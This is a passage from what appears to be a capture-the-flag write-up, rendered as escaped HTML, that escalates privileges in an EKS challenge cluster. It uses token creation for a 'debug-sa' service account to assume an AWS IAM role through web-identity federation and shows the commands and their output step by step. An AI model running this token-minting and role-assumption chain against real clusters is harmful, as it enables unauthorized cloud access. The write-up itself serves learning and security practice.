style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           []                  [debug-sa]         [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                 []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]        []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                  [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eHmm, being able to create tokens for the \u003ccode\u003edebug-sa\u003c/code\u003e resource definitely seems\nsuspicious. So lets see if that will get us anywhere:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e create token debug-sa)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/.well-known/openid-configuration]   []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]                                []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]                               []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openid/v1/jwks]                     []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                                    [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like we have less access than before.  So not too helpful, lets take a\nlook at that service account we want to become:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esa\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3access-sa\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ServiceAccount\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"annotations\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"eks.amazonaws.com/role-arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::688655246681:role/challengeEksS3Role\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-10-31T20:07:34Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3access-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge5\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"671916\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"86e44c49-b05a-4ebe-800b-45183a6ebbda\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI think we are going to need to use our AWS access to assume that role, I don't\nbelieve our kubernetes access is going to get us anywhere:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOk, so \u003cem\u003emaybe\u003c/em\u003e our kubernetes access is important since we can't assume the role\ndirectly.   Lets try to use that $TOKEN from \u003ccode\u003edebug-sa\u003c/code\u003e to assume the role:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--web-identity-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eGetting closer!   The default audience for a token created with \u003ccode\u003ekubectl\u003c/code\u003e is\n\u003ccode\u003ehttps://kubernetes.default.svc\u003c/code\u003e which amazon doesn't seem to like.  Lets try\ncreating it again with \u003ccode\u003ests.amazonaws.com\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e create token debug-sa \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--audience\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e sts.amazonaws.com)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--web-identity-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Credentials\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 